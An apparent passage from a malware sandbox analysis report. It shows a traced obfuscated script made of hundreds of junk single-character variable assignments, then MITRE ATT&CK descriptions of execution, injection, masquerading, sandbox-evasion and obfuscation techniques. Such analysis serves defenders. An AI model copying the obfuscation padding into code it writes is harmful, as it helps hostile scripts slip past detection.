448	rxjuz = "N";
449	rxjuz = "R";
450	rxjuz = "e";
451	rxjuz = "p";
452	rxjuz = "w";
453	rxjuz = "F";
454	rxjuz = "A";
455	rxjuz = "d";
456	rxjuz = "z";
457	rxjuz = "V";
458	rxjuz = "O";
459	rxjuz = "m";
460	rxjuz = "J";
461	rxjuz = "w";
462	rxjuz = "W";
463	rxjuz = "n";
464	rxjuz = "B";
465	rxjuz = "r";
466	rxjuz = "C";
467	rxjuz = "U";
468	rxjuz = "x";
469	rxjuz = "r";
470	rxjuz = "F";
471	rxjuz = "Q";
472	rxjuz = "n";
473	rxjuz = "Z";
474	rxjuz = "P";
475	rxjuz = "F";
476	aymuok = "U";
477	aymuok = "c";
478	mqropb = "C";
479	mqropb = "f";
480	mqropb = "g";
481	mqropb = "G";
482	mqropb = "E";
483	mqropb = "a";
484	mqropb = "H";
485	mqropb = "a";
486	mqropb = "l";
487	mqropb = "T";
488	mqropb = "I";
489	mqropb = "c";
490	mqropb = "R";
491	mqropb = "Z";
492	mqropb = "F";
493	mqropb = "X";
494	mqropb = "o";
495	mqropb = "v";
496	mqropb = "m";
497	mqropb = "L";
498	mqropb = "r";
499	mqropb = "o";
500	mqropb = "h";
501	mqropb = "C";
502	mqropb = "J";
503	mqropb = "I";
504	mqropb = "B";
505	mqropb = "r";
506	mqropb = "k";
507	mqropb = "R";
508	mqropb = "K";
509	mqropb = "C";
510	mqropb = "T";
511	mqropb = "a";
512	mqropb = "N";
513	mqropb = "T";
514	mqropb = "N";
515	mqropb = "L";
516	mqropb = "W";
517	lodnkcwez = "c";
518	lodnkcwez = "L";
519	lodnkcwez = "N";
520	lodnkcwez = "T";
521	lodnkcwez = "t";
522	lodnkcwez = "q";
523	lodnkcwez = "f";
524	lodnkcwez = "o";
525	lodnkcwez = "J";
526	lodnkcwez = "f";
527	lodnkcwez = "P";
528	lodnkcwez = "e";
529	lodnkcwez = "Q";
530	lodnkcwez = "u";
531	lodnkcwez = "4";
532	piaejnwxv = "t";
533	piaejnwxv = "r";
534	piaejnwxv = "f";
535	piaejnwxv = "M";
536	piaejnwxv = "u";
537	piaejnwxv = "V";
538	piaejnwxv = "Y";
539	piaejnwxv = "V";
540	piaejnwxv = "M";
541	piaejnwxv = "p";
542	piaejnwxv = "C";
543	piaejnwxv = "Y";
544	piaejnwxv = "r";
545	piaejnwxv = "w";
546	piaejnwxv = "G";
547	piaejnwxv = "L";
548	piaejnwxv = "e";
549	piaejnwxv = "Z";
550	piaejnwxv = "n";
551	piaejnwxv = "y";
552	piaejnwxv = "g";
553	piaejnwxv = "I";
554	piaejnwxv = "J";
555	piaejnwxv = "Y";
556	piaejnwxv = "A";
557	piaejnwxv = "F";
558	piaejnwxv = "K";
559	piaejnwxv = "n";
560	piaejnwxv = "R";
561	piaejnwxv = "L";
562	piaejnwxv = "E";
563	piaejnwxv = "U";
564	piaejnwxv = "o";
565	piaejnwxv = "g";
566	piaejnwxv = "u";
567	piaejnwxv = "C";
568	qjhdexf = "c";
569	qjhdexf = "W";
570	qjhdexf = "y";
571	qjhdexf = "s";
572	qjhdexf = "X";
573	qjhdexf = "f";
574	qjhdexf = "c";
575	qjhdexf = "t";
576	qjhdexf = "h";
577	qjhdexf = "I";
578	qjhdexf = "D";
579	qjhdexf = "P";
580	qjhdexf = "U";
581	qjhdexf = "I";
582	qjhdexf = "o";
583	qjhdexf = "j";
584	qjhdexf = "O";
585	qjhdexf = "T";
586	qjhdexf = "M";
587	qjhdexf = "k";
588	qjhdexf = "W";
589	qjhdexf = "Q";
590	qjhdexf = "j";
591	qjhdexf = "a";
592	qjhdexf = "m";
593	qjhdexf = "h";
594	qjhdexf = "U";
595	qjhdexf = "w";
596	qjhdexf = "N";
597	qjhdexf = "x";
598	qjhdexf = "b";
599	qjhdexf = "@";
600	ncvepbvv = "D";
601	ncvepbvv = "Y";
602	ncvepbvv = "M";
603	ncvepbvv = "q";
604	ncvepbvv = "J";
605	ncvepbvv = "x";
606	ncvepbvv = "r";
607	ncvepbvv = "X";
608	ncvepbvv = "M";
609	ncvepbvv = "l";
610	ncvepbvv = "H";
611	ncvepbvv = "b";
612	ncvepbvv = "b";
613	ncvepbvv = "I";
614	ncvepbvv = "L";
615	ncvepbvv = "S";
616	ncvepbvv = "u";
617	ncvepbvv = "X";
618	ncvepbvv = "M";
619	ncvepbvv = "R";
620	ncvepbvv = "j";
621	ncvepbvv = "o";
622	ncvepbvv = "i";
623	ncvepbvv = "O";
624	ncvepbvv = "E";
625	ncvepbvv = "R";
626	ncvepbvv = "Q";
627	ncvepbvv = "C";
628	ncvepbvv = "N";
629	ncvepbvv = "x";
630	ncvepbvv = "R";
631	ncvepbvv = "X";
632	ncvepbvv = "I";
633	ncvepbvv = "O";
634	ncvepbvv = "Q";
635	ncvepbvv = "d";
636	ncvepbvv = "S";
637	ncvepbvv = "g";
638	ncvepbvv = "f";
639	ncvepbvv = "h";
640	ncvepbvv = "l";
641	ncvepbvv = "H";
642	trgnkmf = "I";
643	trgnkmf = "&";
644	wqbqai = "E";
645	wqbqai = "S";
646	wqbqai = "n";
647	wqbqai = "p";
648	wqbqai = "y";
649	wqbqai = "G";
650	wqbqai = "B";
651	wqbqai = "i";
652	wqbqai = "M";
653	wqbqai = "A";
654	wqbqai = "T";
655	wqbqai = "u";
656	wqbqai = "a";
657	wqbqai = "l";
658	wqbqai = "v";
659	wqbqai = "u";
660	wqbqai = "G";
661	wqbqai = "g";
662	wqbqai = "z";
663	wqbqai = "G";
664	wqbqai = "T";
665	wqbqai = "J";
666	wqbqai = "X";
667	wqbqai = "C";
668	wqbqai = "j";
669	wqbqai = "J";
670	wqbqai = "s";
671	wqbqai = "i";
672	wqbqai = "E";
673	wqbqai = "v";
674	wqbqai = "O";
675	wqbqai = "F";
676	wqbqai = "k";
677	wqbqai = "r";
678	wqbqai = "Y";
679	wqbqai = "h";
680	wqbqai = "c";
681	wqbqai = "t";
682	wqbqai = "g";
683	wqbqai = "C";
684	wqbqai = "G";
685	wqbqai = "j";
686	wqbqai = "C";
687	wqbqai = "O";
688	jpqwwnb = "Y";
689	jpqwwnb = "U";
690	jpqwwnb = "j";
691	jpqwwnb = "b";
692	jpqwwnb = "y";
693	jpqwwnb = "S";
694	jpqwwnb = "t";
695	jpqwwnb = "E";
696	jpqwwnb = "J";
697	jpqwwnb = "Q";
698	jpqwwnb = "X";
699	jpqwwnb = "g";
700	jpqwwnb = "p";
701	jpqwwnb = "G";
702	jpqwwnb = "G";
703	jpqwwnb = "R";
704	jpqwwnb = ".";
705	sztug = "b";
706	sztug = "p";
707	sztug = "V";
708	sztug = "A";
709	sztug = "S";
710	sztug = "A";
711	sztug = "x";
712	sztug = "f";
713	sztug = "Z";
714	sztug = "n";
715	sztug = "m";
716	sztug = "n";
717	sztug = "A";
718	sztug = "j";
719	sztug = "H";
720	sztug = "E";
721	sztug = "M";
722	sztug = "D";
723	sztug = "q";
724	sztug = "J";
725	sztug = "G";
726	sztug = "L";
727	sztug = "n";
728	sztug = "Z";
729	sztug = "S";
730	sztug = "k";
731	sztug = "A";
732	sztug = "F";
733	sztug = "P";
734	sztug = "O";
735	sztug = "q";
736	sztug = "F";
737	sztug = "A";
738	sztug = "f";
739	sztug = "d";
740	sztug = "P";
741	sztug = "v";
742	sztug = "G";
743	sztug = "_";
744	omqsbadi = "t";
745	omqsbadi = "c";
746	omqsbadi = "S";
747	omqsbadi = "r";
748	ptwjad = "z";
749	ptwjad = "B";
750	ptwjad = "S";
751	ptwjad = "c";
752	ptwjad = "F";
753	ptwjad = "Y";
754	ptwjad = "J";
755	ptwjad = "u";
756	ptwjad = "Q";
757	ptwjad = "a";
758	ptwjad = "y";
759	ptwjad = "S";
760	ptwjad = "U";
761	ptwjad = "j";
762	ptwjad = "T";
763	ptwjad = "w";
764	ptwjad = "N";
765	ptwjad = "m";
766	ptwjad = "f";
767	ptwjad = "B";
768	ptwjad = "k";
769	ptwjad = "D";
770	ptwjad = "D";
771	ptwjad = "c";
772	ptwjad = "E";
773	ptwjad = "u";
774	ptwjad = "F";
775	ptwjad = "r";
776	ptwjad = "V";
777	ptwjad = "c";
778	ptwjad = "O";
779	ptwjad = "C";
780	ptwjad = "T";
781	ptwjad = "r";
782	ptwjad = "i";
783	ptwjad = "E";
784	ptwjad = "F";
785	ptwjad = "r";
786	ptwjad = "d";
787	ptwjad = "x";
788	ptwjad = "G";
789	ptwjad = "z";
790	ptwjad = "q";
791	ptwjad = "M";
792	ptwjad = "K";
793	wmlqydu = "g";
794	wmlqydu = "M";
795	wmlqydu = "x";
796	wlfxeqet = "R";
797	wlfxeqet = "a";
798	gozzvr = "b";
799	gozzvr = "g";
800	gozzvr = "W";
801	gozzvr = "u";
802	gozzvr = "c";
803	gozzvr = "S";
804	gozzvr = "s";
805	gozzvr = "z";
806	gozzvr = "r";
807	gozzvr = "d";
808	gozzvr = "i";
809	gozzvr = "V";
810	gozzvr = "F";
811	gozzvr = "u";
812	ctzywtoxu = "N";
813	ctzywtoxu = "A";
814	ctzywtoxu = "t";
815	ctzywtoxu = "e";
816	ctzywtoxu = "p";
817	ctzywtoxu = "l";
818	ctzywtoxu = "Y";
819	ctzywtoxu = "D";
820	ctzywtoxu = "G";
821	ctzywtoxu = "I";
822	ctzywtoxu = "b";
823	ctzywtoxu = "k";
824	ctzywtoxu = "s";
825	ctzywtoxu = "w";
826	ctzywtoxu = "z";
827	ctzywtoxu = "V";
828	ctzywtoxu = "S";
829	ctzywtoxu = "K";
830	ctzywtoxu = "C";
831	ctzywtoxu = "N";
832	ctzywtoxu = "g";
833	ctzywtoxu = "F";
834	ctzywtoxu = "q";
835	ctzywtoxu = "W";
836	ctzywtoxu = "J";
837	ctzywtoxu = "f";
838	ctzywtoxu = "P";
839	ctzywtoxu = "z";
840	ctzywtoxu = "M";
841	ctzywtoxu = "F";
842	ctzywtoxu = "P";
843	ctzywtoxu = "B";
844	ctzywtoxu = "k";
845	ctzywtoxu = "h";
846	ctzywtoxu = "O";
847	ctzywtoxu = "P";
848	ctzywtoxu = "U";
849	ctzywtoxu = "J";
850	ctzywtoxu = "N";
851	ctzywtoxu = "r";
852	ctzywtoxu = "k";
853	ctzywtoxu = "j";
854	ctzywtoxu = "X";
855	ctzywtoxu = "L";
856	fnsrvfsu = "w";
857	fnsrvfsu = "V";
858	fnsrvfsu = "y";
859	fnsrvfsu = "u";
860	fnsrvfsu = "T";
861	fnsrvfsu = "t";
862	fnsrvfsu = "i";
863	fnsrvfsu = "A";
864	fnsrvfsu = "o";
865	fnsrvfsu = "t";
866	fnsrvfsu = "E";
867	fnsrvfsu = "A";
868	fnsrvfsu = "I";
869	fnsrvfsu = "X";
870	fnsrvfsu = "T";
871	fnsrvfsu = "g";
872	fnsrvfsu = "I";
873	fnsrvfsu = "j";
874	fnsrvfsu = "F";
875	fnsrvfsu = "f";
876	fnsrvfsu = "B";
877	fnsrvfsu = "l";
878	fnsrvfsu = "l";
879	fnsrvfsu = "F";
880	fnsrvfsu = "e";
881	fnsrvfsu = "e";
882	fnsrvfsu = "G";
883	fnsrvfsu = "L";
884	fnsrvfsu = "F";
885	fnsrvfsu = "w";
886	fnsrvfsu = "P";
887	fnsrvfsu = "l";
888	fnsrvfsu = "b";
889	fnsrvfsu = "D";
890	fnsrvfsu = "k";
891	fnsrvfsu = "R";
892	fnsrvfsu = "X";
893	fnsrvfsu = "I";
894	fnsrvfsu = "m";
895	goxpjbt = "N";
896	goxpjbt = "s";
897	goxpjbt = "B";
898	goxpjbt = "P";
899	goxpjbt = "T";
900	goxpjbt = "k";
901	goxpjbt = "Z";
902	goxpjbt = "J";
903	goxpjbt = "w";
904	goxpjbt = "g";
905	goxpjbt = "d";
906	goxpjbt = "h";
907	goxpjbt = "g";
908	goxpjbt = "a";
909	goxpjbt = "z";
910	goxpjbt = "r";
911	goxpjbt = "y";
912	goxpjbt = "c";
913	goxpjbt = "e";
914	goxpjbt = "B";
915	goxpjbt = "V";
916	goxpjbt = "x";
917	goxpjbt = "e";
918	goxpjbt = "c";
919	goxpjbt = "l";
920	goxpjbt = "a";
921	goxpjbt = "K";
922	goxpjbt = "E";
923	goxpjbt = "a";
924	goxpjbt = "o";
925	goxpjbt = "Z";
926	goxpjbt = "n";
927	goxpjbt = "d";
928	goxpjbt = "S";
929	qnuwb = "U";
930	qnuwb = "a";
931	qnuwb = "S";
932	qnuwb = "R";
933	qnuwb = "z";
934	qnuwb = "R";
935	qnuwb = "d";
936	qnuwb = "w";
937	qnuwb = "K";
938	qnuwb = "E";
939	qnuwb = "d";
940	qnuwb = "N";
941	qnuwb = "M";
942	qnuwb = "W";
943	qnuwb = "v";
944	qnuwb = "X";
945	qnuwb = "s";
946	qnuwb = "I";
947	qnuwb = "b";
948	qnuwb = "G";
949	qnuwb = "V";
950	qnuwb = "Q";
951	qnuwb = "B";
952	qnuwb = "j";
953	qnuwb = "m";
954	qnuwb = "F";
955	qnuwb = "W";
956	qnuwb = "J";
957	qnuwb = "y";
958	qnuwb = "O";
959	qnuwb = "f";
960	qnuwb = "k";
961	qnuwb = "W";
962	qnuwb = "I";
963	qnuwb = "q";
964	ofqvaf = "J";
965	ofqvaf = "s";
966	ofqvaf = "h";
967	ofqvaf = "f";
968	ofqvaf = "i";
969	ofqvaf = "i";
970	ofqvaf = "P";
971	ofqvaf = "v";
972	ofqvaf = "e";
973	ofqvaf = "0";
974	wzhhe = "Y";
975	wzhhe = "Z";
976	wzhhe = "E";
977	wzhhe = "p";
978	wzhhe = "n";
979	wzhhe = "e";
980	wzhhe = "y";
981	wzhhe = "I";
982	wzhhe = "C";
983	wzhhe = "C";
984	wzhhe = "o";
985	wzhhe = "M";
986	wzhhe = "A";
987	wzhhe = "n";
988	wzhhe = "P";
989	wzhhe = "h";
990	lnhauxyty = "B";
991	lnhauxyty = "Y";
992	lnhauxyty = "U";
993	lnhauxyty = "P";
994	lnhauxyty = "I";
995	lnhauxyty = "A";
996	lnhauxyty = "X";
997	lnhauxyty = "J";
998	lnhauxyty = "i";
999	lnhauxyty = "Y";
1000	lnhauxyty = "I";
1001	lnhauxyty = "W";
1002	lnhauxyty = "T";
1003	lnhauxyty = "A";
1004	lnhauxyty = "O";
1005	lnhauxyty = "j";
1006	lnhauxyty = "l";
1007	lnhauxyty = "g";
1008	lnhauxyty = "h";
1009	lnhauxyty = "Q";
1010	lnhauxyty = "N";
1011	lnhauxyty = "L";
1012	lnhauxyty = "l";
1013	lnhauxyty = "v";
1014	lnhauxyty = "m";
1015	lnhauxyty = "L";
1016	lnhauxyty = "h";
1017	lnhauxyty = "d";
1018	eymelhf = "V";
1019	eymelhf = " ";
1020	kdzxywo = "m";
1021	kdzxywo = "j";
1022	kdzxywo = "B";
1023	kdzxywo = "o";
1024	kdzxywo = "-";
1025	shvjaaeyz = "r";
1026	shvjaaeyz = "Y";
1027	shvjaaeyz = "o";
1028	ahheiwhj = "C";
1029	ahheiwhj = "i";
1030	ahheiwhj = "T";
1031	ahheiwhj = "r";
1032	ahheiwhj = "E";
1033	ahheiwhj = "Y";
1034	ahheiwhj = "a";
1035	ahheiwhj = "X";
1036	ahheiwhj = "p";
1037	ahheiwhj = "v";
1038	ahheiwhj = "S";
1039	ahheiwhj = "l";
1040	ahheiwhj = "a";
1041	ahheiwhj = "v";
1042	ahheiwhj = "V";
1043	ahheiwhj = "x";
1044	ahheiwhj = "X";
1045	ahheiwhj = "k";
1046	ahheiwhj = "U";
1047	ahheiwhj = "l";
1048	ahheiwhj = "p";
1049	ahheiwhj = "P";
1050	ahheiwhj = "s";
1051	ahheiwhj = "Z";
1052	ahheiwhj = "A";
1053	ahheiwhj = "X";
1054	ahheiwhj = "O";
1055	ahheiwhj = "i";
1056	ahheiwhj = "S";
1057	ahheiwhj = "t";
1058	ahheiwhj = "G";
1059	ahheiwhj = "i";
1060	ahheiwhj = "d";
1061	ahheiwhj = "t";
1062	ahheiwhj = "t";
1063	ahheiwhj = "t";
1064	ahheiwhj = "g";
1065	wdefoo = "I";
1066	wdefoo = "C";
1067	wdefoo = "y";
1068	wdefoo = "v";
1069	theewph = "a";
1070	theewph = "Z";
1071	theewph = "t";
1072	theewph = "Y";
1073	theewph = "G";
1074	theewph = "g";
1075	theewph = "i";
1076	theewph = "p";
1077	theewph = "n";
1078	theewph = "q";
1079	theewph = "f";
1080	theewph = "H";
1081	theewph = "M";
1082	theewph = "l";
1083	theewph = "W";
1084	theewph = "d";
1085	theewph = "S";
1086	theewph = "z";
1087	theewph = "B";
1088	theewph = "h";
1089	theewph = "r";
1090	theewph = "n";
1091	theewph = "U";
1092	theewph = "h";
1093	theewph = "u";
1094	theewph = "T";
1095	theewph = "r";
1096	theewph = "O";
1097	theewph = "i";
1098	theewph = "F";
1099	theewph = "x";
1100	theewph = "U";
1101	theewph = "t";
1102	theewph = "o";
1103	theewph = "L";
1104	theewph = "I";
1105	theewph = "q";
1106	theewph = "l";
1107	theewph = "X";
1108	theewph = "y";
1109	theewph = "T";
1110	theewph = "1";
1111	ymxkbgsb = "E";
1112	ymxkbgsb = "V";
1113	ymxkbgsb = "M";
1114	ymxkbgsb = "K";
1115	ymxkbgsb = "L";
1116	ymxkbgsb = "v";
1117	ymxkbgsb = "s";
1118	ymxkbgsb = "z";
1119	ymxkbgsb = "E";
1120	ymxkbgsb = "R";
1121	ymxkbgsb = "C";
1122	ymxkbgsb = "u";
1123	ymxkbgsb = "j";
1124	ymxkbgsb = "V";
1125	ymxkbgsb = "P";
1126	ymxkbgsb = "Z";
1127	ymxkbgsb = "q";
1128	ymxkbgsb = "d";
1129	ymxkbgsb = "Z";
1130	ymxkbgsb = "B";
1131	ymxkbgsb = "l";
1132	ymxkbgsb = "e";
1133	ymxkbgsb = "W";
1134	ymxkbgsb = "L";
1135	ymxkbgsb = "G";
1136	ymxkbgsb = "m";
1137	ymxkbgsb = "O";
1138	ymxkbgsb = "z";
1139	ymxkbgsb = "W";
1140	ymxkbgsb = "r";
1141	ymxkbgsb = "v";
1142	ymxkbgsb = "u";
1143	ymxkbgsb = "R";
1144	ymxkbgsb = "T";
1145	ymxkbgsb = "l";
1146	ymxkbgsb = "C";
1147	ymxkbgsb = "k";
1148	ymxkbgsb = "Y";
1149	ymxkbgsb = "i";
1150	ymxkbgsb = "9";
1151	ywrdx = "R";
1152	ywrdx = "c";
1153	ywrdx = "p";
1154	ywrdx = "x";
1155	ywrdx = "Q";
1156	ywrdx = "V";
1157	ywrdx = "W";
1158	ywrdx = "O";
1159	ywrdx = "c";
1160	ywrdx = "x";
1161	ywrdx = "V";
1162	ywrdx = "L";
1163	ywrdx = "K";
1164	ywrdx = "d";
1165	ywrdx = "B";
1166	ywrdx = "M";
1167	ywrdx = "R";
1168	ywrdx = "d";
1169	ywrdx = "z";
1170	ywrdx = "h";
1171	ywrdx = "g";
1172	ywrdx = "c";
1173	ywrdx = "G";
1174	ywrdx = "d";
1175	ywrdx = "c";
1176	ywrdx = "E";
1177	xhfzz = "U";
1178	xhfzz = "D";
1179	xhfzz = "i";
1180	xhfzz = "v";
1181	xhfzz = "z";
1182	xhfzz = "J";
1183	xhfzz = "U";
1184	xhfzz = "O";
1185	xhfzz = "z";
1186	xhfzz = "j";
1187	xhfzz = "n";
1188	xhfzz = "g";
1189	xhfzz = "w";
1190	xhfzz = "3";
1191	kljqyplha = "N";
1192	kljqyplha = "o";
1193	kljqyplha = "V";
1194	kljqyplha = "D";
1195	kljqyplha = "P";
1196	kljqyplha = "y";
1197	kljqyplha = "T";
1198	kljqyplha = "I";
1199	kljqyplha = "H";
1200	kljqyplha = "d";
1201	kljqyplha = "j";
1202	kljqyplha = "c";
1203	kljqyplha = "c";
1204	kljqyplha = "i";
1205	kljqyplha = "k";
1206	kljqyplha = "n";
1207	kljqyplha = "B";
1208	kljqyplha = "x";
1209	kljqyplha = "I";
1210	kljqyplha = "J";
1211	kljqyplha = "q";
1212	kljqyplha = "f";
1213	qsqezh = "f";
1214	qsqezh = "Q";
1215	qsqezh = "M";
1216	qsqezh = "g";
1217	qsqezh = "i";
1218	kojhamqvi = "K";
1219	kojhamqvi = "L";
1220	kojhamqvi = "8";
1221	jgtqc = "Q";
1222	jgtqc = "U";
1223	jgtqc = "e";
1224	jgtqc = "L";
1225	jgtqc = "g";
1226	jgtqc = "u";
1227	jgtqc = "J";
1228	jgtqc = "M";
1229	jgtqc = "U";
1230	jgtqc = "K";
1231	jgtqc = "p";
1232	jgtqc = "F";
1233	jgtqc = "Z";
1234	jgtqc = "W";
1235	jgtqc = "S";
1236	jgtqc = "h";
1237	jgtqc = "K";
1238	jgtqc = "j";
1239	jgtqc = "b";
1240	jgtqc = "p";
1241	xnklllg = "Q";
1242	xnklllg = "r";
1243	xnklllg = "Z";
1244	xnklllg = "u";
1245	xnklllg = "l";
1246	xnklllg = "H";
1247	xnklllg = "J";
1248	xnklllg = "h";
1249	xnklllg = "T";
1250	xnklllg = "G";
1251	xnklllg = "o";
1252	xnklllg = "J";
1253	xnklllg = "W";
1254	xnklllg = "h";
1255	xnklllg = "d";
1256	xnklllg = "a";
1257	xnklllg = "i";
1258	xnklllg = "i";
1259	xnklllg = "y";
1260	xnklllg = "A";
1261	xnklllg = "L";
1262	xnklllg = "r";
1263	xnklllg = "y";
1264	xnklllg = "b";
1265	xnklllg = "R";
1266	xnklllg = "N";
1267	jjkxzs = "d";
1268	jjkxzs = "a";
1269	jjkxzs = "W";
1270	jjkxzs = "L";
1271	jjkxzs = "A";
1272	jjkxzs = "R";
1273	jjkxzs = "U";
1274	ltlgr = "D";
1275	ltlgr = "L";
1276	ltlgr = "K";
1277	ltlgr = "M";
1278	ltlgr = "X";
1279	ltlgr = "G";
1280	ltlgr = "Y";
1281	ltlgr = "a";
1282	ltlgr = "z";
1283	ltlgr = "C";
1284	ltlgr = "Q";
1285	ltlgr = "o";
1286	ltlgr = "u";
1287	ltlgr = "S";
1288	ltlgr = "U";
1289	ltlgr = "C";
1290	ltlgr = "y";
1291	ltlgr = "Y";
1292	ltlgr = "F";
1293	ltlgr = "V";
1294	ltlgr = "D";
1295	ltlgr = "e";
1296	ltlgr = "W";
1297	ltlgr = "d";
1298	ltlgr = "C";
1299	ltlgr = "d";
1300	ltlgr = "u";
1301	ltlgr = "i";
1302	ltlgr = "k";
1303	ltlgr = "C";
1304	ltlgr = "h";
1305	ltlgr = "m";
1306	ltlgr = "V";
1307	ltlgr = "Y";
1308	ltlgr = "b";
1309	ltlgr = "i";
1310	ltlgr = "y";
1311	ltlgr = "D";
1312	ltlgr = "a";
1313	ltlgr = "q";
1314	ltlgr = "l";
1315	xzedmfoyj = "b";
1316	xzedmfoyj = "W";
1317	xzedmfoyj = "l";
1318	xzedmfoyj = "M";
1319	xzedmfoyj = "h";
1320	xzedmfoyj = "G";
1321	xzedmfoyj = "a";
1322	xzedmfoyj = "X";
1323	xzedmfoyj = "Z";
1324	xzedmfoyj = "s";
1325	xzedmfoyj = "c";
1326	xzedmfoyj = "c";
1327	xzedmfoyj = "c";
1328	xzedmfoyj = "t";
1329	xzedmfoyj = "b";
1330	xzedmfoyj = "N";
1331	xzedmfoyj = "u";
1332	xzedmfoyj = "X";
1333	xzedmfoyj = "m";
1334	xzedmfoyj = "k";
1335	xzedmfoyj = "D";
1336	xzedmfoyj = "F";
1337	xzedmfoyj = "j";
1338	xzedmfoyj = "W";
1339	xzedmfoyj = "P";
1340	xzedmfoyj = "N";
1341	xzedmfoyj = "G";
1342	xzedmfoyj = "K";
1343	xzedmfoyj = "j";
1344	xzedmfoyj = "F";
1345	xzedmfoyj = "E";
1346	xzedmfoyj = "q";
1347	xzedmfoyj = "Q";
1348	xzedmfoyj = ":";
1349	sahpezej = "n";
1350	sahpezej = "D";
1351	sahpezej = "V";
1352	sahpezej = "Y";
1353	sahpezej = "k";
1354	sahpezej = "g";
1355	sahpezej = "M";
1356	sahpezej = "S";
1357	sahpezej = "e";
1358	sahpezej = "k";
1359	sahpezej = "y";
1360	sahpezej = "r";
1361	sahpezej = "J";
1362	sahpezej = "x";
1363	sahpezej = "Y";
1364	sahpezej = "A";
1365	sahpezej = "Z";
1366	sahpezej = "x";
1367	sahpezej = "r";
1368	sahpezej = "F";
1369	sahpezej = "F";
1370	sahpezej = "L";
1371	sahpezej = "E";
1372	sahpezej = "q";
1373	sahpezej = "T";
1374	sahpezej = "U";
1375	sahpezej = "a";
1376	sahpezej = "u";
1377	sahpezej = "r";
1378	sahpezej = "N";
1379	sahpezej = "5";
1380	zdiqieps ( );	zdiqieps() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
